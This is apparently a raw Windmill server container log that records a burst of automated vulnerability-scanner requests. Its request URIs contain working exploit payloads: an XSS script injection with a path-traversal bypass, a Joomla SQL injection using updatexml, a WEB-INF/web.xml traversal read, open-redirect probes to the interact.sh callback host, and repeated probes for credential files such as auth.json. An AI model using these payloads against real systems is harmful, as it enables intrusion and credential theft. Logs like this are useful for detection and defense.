windmill_server-1 | 2026-11-01T16:26:32.910090384Z 2026-11-01T16:26:32.909466Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/gallery/zp-core/setup/index.php traceId="ca059b3b-9289-4087-b01f-7fe2480e4f2b"
windmill_server-1 | 2026-11-01T16:26:32.910092843Z 2026-11-01T16:26:32.909521Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/plugins/elementor/readme.txt traceId="b74865fe-67cc-4478-bae6-371f5e00c348"
windmill_server-1 | 2026-11-01T16:26:32.910095593Z 2026-11-01T16:26:32.909575Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e traceId="f63b3bc7-cfe9-4f2b-8b2d-529687d43767"
windmill_server-1 | 2026-11-01T16:26:32.910100426Z 2026-11-01T16:26:32.909623Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/index.php?option=com_contenthistory&view=history&list[ordering]&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(999999999)),1) traceId="cc0d94d7-d61a-4888-96fb-5063ab962d3f"
windmill_server-1 | 2026-11-01T16:26:32.910107926Z 2026-11-01T16:26:32.909671Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=OPTIONS uri=/ traceId="7b29174f-1548-4fd4-9496-d4ed0502603e"
windmill_server-1 | 2026-11-01T16:26:32.910110801Z 2026-11-01T16:26:32.909723Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e traceId="4dad1fbf-ac04-4ed8-9ada-c18cecc3fde1"
windmill_server-1 | 2026-11-01T16:26:32.910113384Z 2026-11-01T16:26:32.909770Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ws-config.example.json traceId="100431e5-2520-498f-8447-9e102538a67c"
windmill_server-1 | 2026-11-01T16:26:32.910202968Z 2026-11-01T16:26:32.907759Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/wp-content/plugins/elementor/readme.txt traceId="b6d6c881-4a7b-4dee-b20e-204bbb20625f"
windmill_server-1 | 2026-11-01T16:26:32.910380718Z 2026-11-01T16:26:32.907811Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml traceId="20d32ddc-b6b5-4659-8b4a-c39b82200af5"
windmill_server-1 | 2026-11-01T16:26:32.910469218Z 2026-11-01T16:26:32.907850Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/adserve/www/delivery/lg.php?dest=http://interact.sh traceId="db71a603-8166-458f-a30e-5a8bf9c37793"
windmill_server-1 | 2026-11-01T16:26:32.914240759Z 2026-11-01T16:26:32.913028Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/v1/auth/users?pageNo=1&pageSize=9 traceId="8e1d9b5a-e075-40c0-be78-5ecb52a3bd59"
windmill_server-1 | 2026-11-01T16:26:32.914513718Z 2026-11-01T16:26:32.914446Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/ws-config.example.json traceId="7b8387e9-c8d2-4376-87e2-fdce0dfd3fe6"
windmill_server-1 | 2026-11-01T16:26:32.914628009Z 2026-11-01T16:26:32.914537Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/node_modules/auth.json traceId="afc76afd-4c21-4cc2-8d4a-d9cba095abd1"
windmill_server-1 | 2026-11-01T16:26:32.914792926Z 2026-11-01T16:26:32.914743Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/adserver/www/delivery/lg.php?dest=http://interact.sh traceId="e634ccc8-f9dc-48ff-8844-881b925d3f52"
windmill_server-1 | 2026-11-01T16:26:32.914987384Z 2026-11-01T16:26:32.914950Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/zp-core/setup/index.php traceId="5d8b4ed5-5e58-403a-a354-140f810627dc"
windmill_server-1 | 2026-11-01T16:26:32.915113718Z 2026-11-01T16:26:32.915083Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/adserver/www/delivery/lg.php?dest=http://interact.sh traceId="030acbb3-1fa5-45b2-8901-f14026b0b1d4"
windmill_server-1 | 2026-11-01T16:26:32.915683843Z 2026-11-01T16:26:32.915621Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/storage/auth.json traceId="d6c70111-4383-4896-95e5-7814091bf796"
windmill_server-1 | 2026-11-01T16:26:32.917517843Z 2026-11-01T16:26:32.917425Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/db/auth.json traceId="7ffb62cd-9bc3-47dc-8604-ed110e173a23"
windmill_server-1 | 2026-11-01T16:26:32.918255259Z 2026-11-01T16:26:32.918124Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/openx/www/delivery/lg.php?dest=http://interact.sh traceId="b86f379d-f443-48c8-96de-7ba4070e8cdb"
windmill_server-1 | 2026-11-01T16:26:32.918517884Z 2026-11-01T16:26:32.918381Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/database/auth.json traceId="ad94c1b5-2253-475e-b21f-69979de6dc58"
windmill_server-1 | 2026-11-01T16:26:32.919765801Z 2026-11-01T16:26:32.918381Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/openx/www/delivery/lg.php?dest=http://interact.sh traceId="093879bb-8bfc-4824-a3d1-3134c81c745a"
windmill_server-1 | 2026-11-01T16:26:32.919782759Z 2026-11-01T16:26:32.918922Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/revive/www/delivery/lg.php?dest=http://interact.sh traceId="146d21c2-8dc2-4360-88bd-ccd170f03ffd"
windmill_server-1 | 2026-11-01T16:26:32.919785884Z 2026-11-01T16:26:32.919123Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/auth/auth.json traceId="f946aae1-840a-4603-bd75-fe8391ff4449"
windmill_server-1 | 2026-11-01T16:26:32.919799968Z 2026-11-01T16:26:32.919195Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/db/auth.json traceId="5ff3895b-5fad-4da3-800e-7c86d3dfcc0f"
windmill_server-1 | 2026-11-01T16:26:32.919802926Z 2026-11-01T16:26:32.919656Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/auth/auth.json traceId="a18e759b-df0b-4df2-a1ee-b0359721c31e"
windmill_server-1 | 2026-11-01T16:26:32.919899593Z 2026-11-01T16:26:32.919838Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/authentication/auth.json traceId="c827a972-2fdf-4265-8316-5c1261361112"
windmill_server-1 | 2026-11-01T16:26:32.920008509Z 2026-11-01T16:26:32.919970Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/www/delivery/lg.php?dest=http://interact.sh traceId="5f8d9b5b-4303-4567-9a56-88071db434b3"
windmill_server-1 | 2026-11-01T16:26:32.920337426Z 2026-11-01T16:26:32.920244Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/revive/www/delivery/lg.php?dest=http://interact.sh traceId="23730173-f387-4407-b0e2-0fec7566d3d4"
windmill_server-1 | 2026-11-01T16:26:32.920438676Z 2026-11-01T16:26:32.920392Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/authentication/auth.json traceId="9316a750-88fb-4118-b623-a33e38605f41"
windmill_server-1 | 2026-11-01T16:26:32.920874384Z 2026-11-01T16:26:32.920818Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/oauth/auth.json traceId="23cfe42b-a30e-46b6-8901-984ef8980d29"
windmill_server-1 | 2026-11-01T16:26:32.921401301Z 2026-11-01T16:26:32.921280Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/www/delivery/lg.php?dest=http://interact.sh traceId="04f624ad-7fbe-486f-b72d-8325b1ebb123"
windmill_server-1 | 2026-11-01T16:26:32.921413301Z 2026-11-01T16:26:32.921288Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/keys/auth.json traceId="0270d6a0-bbeb-42dd-84ea-30b9459d9d68"
windmill_server-1 | 2026-11-01T16:26:32.921473676Z 2026-11-01T16:26:32.921416Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/oauth/auth.json traceId="b3263cb8-3a77-4ed3-bc69-849a1d7fe1f2"
windmill_server-1 | 2026-11-01T16:26:32.921950843Z 2026-11-01T16:26:32.921874Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/keys/auth.json traceId="5620e695-c29e-44ef-bf19-f9712aa98b59"
windmill_server-1 | 2026-11-01T16:26:32.922393093Z 2026-11-01T16:26:32.922192Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/credentials/auth.json traceId="f780d959-ab41-4468-a3b9-08eaefd2be1c"
windmill_server-1 | 2026-11-01T16:26:32.922402218Z 2026-11-01T16:26:32.922308Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/credentials/auth.json traceId="90e6ae01-9ef6-4a25-ac86-12315950f90d"
windmill_server-1 | 2026-11-01T16:26:32.922850634Z 2026-11-01T16:26:32.922738Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/creds/auth.json traceId="87ed76c0-e9bc-4f8b-aa8e-cd87905a2aa9"
windmill_server-1 | 2026-11-01T16:26:32.922866009Z 2026-11-01T16:26:32.922813Z INFO request: windmill-api/src/tracing_init.rs:50: response latency=0 status=200 method=GET uri=/creds/auth.json traceId="523b4b02-2453-4f0b-b374-c33bffe6c27c"